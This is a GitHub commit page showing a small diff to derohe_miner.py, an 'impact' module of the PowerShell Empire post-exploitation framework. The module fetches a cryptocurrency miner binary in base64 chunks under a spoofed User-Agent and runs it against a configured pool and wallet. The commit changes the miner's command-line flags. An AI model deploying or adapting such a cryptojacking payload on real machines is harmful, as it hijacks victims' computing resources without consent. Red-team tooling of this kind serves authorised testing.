Skip to content

Commit e5bab56

Browse files
derohe: Update cli command (#12)
1 parent ecc7aa3 commit e5bab56

File tree

1 file changed

+4
-4
lines changed
  • modules/usr/share/powershell-empire/empire/server/data/module_source/python/impact/linux

1 file changed

+4
-4
lines changed

modules/usr/share/powershell-empire/empire/server/data/module_source/python/impact/linux/derohe_miner.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,8 @@ def check_for_derohe() -> str:
2929

3030
def download_derohe_binary() -> str:
3131
"""Download derohe from base64 files"""
32-
headers = {'User-Agent': 'Mozilla/5.0 (Linux x86_64; X11) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/11.0.431.99 Safari/537.13'}
32+
headers = {
33+
'User-Agent': 'Mozilla/5.0 (Linux x86_64; X11) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/11.0.431.99 Safari/537.13'}
3334
session = requests.Session()
3435
files_b64_string = ''
3536
for number_extension in range(1, int(f'{ENDFILECOUNT}')):
@@ -51,8 +52,8 @@ def create_derohe_file(files_b64_string) -> None:
5152

5253
def execute_derohe() -> int:
5354
"""Execute derohe and start mining"""
54-
command = [f'{WORKING_DIR}derohe', '-o', f'{MININGPOOL}', '-u',
55-
f'{WALLET}', '--tls', '--coin', 'monero']
55+
command = [f'{WORKING_DIR}derohe', '--daemon-rpc-address', f'{MININGPOOL}', '--wallet-address',
56+
f'{WALLET}']
5657
subprocess.call(command)
5758

5859

@@ -78,4 +79,3 @@ def main() -> None:
7879

7980
# if __name__ == '__main__':
8081
# main()
81-

0 commit comments

Comments
 (0)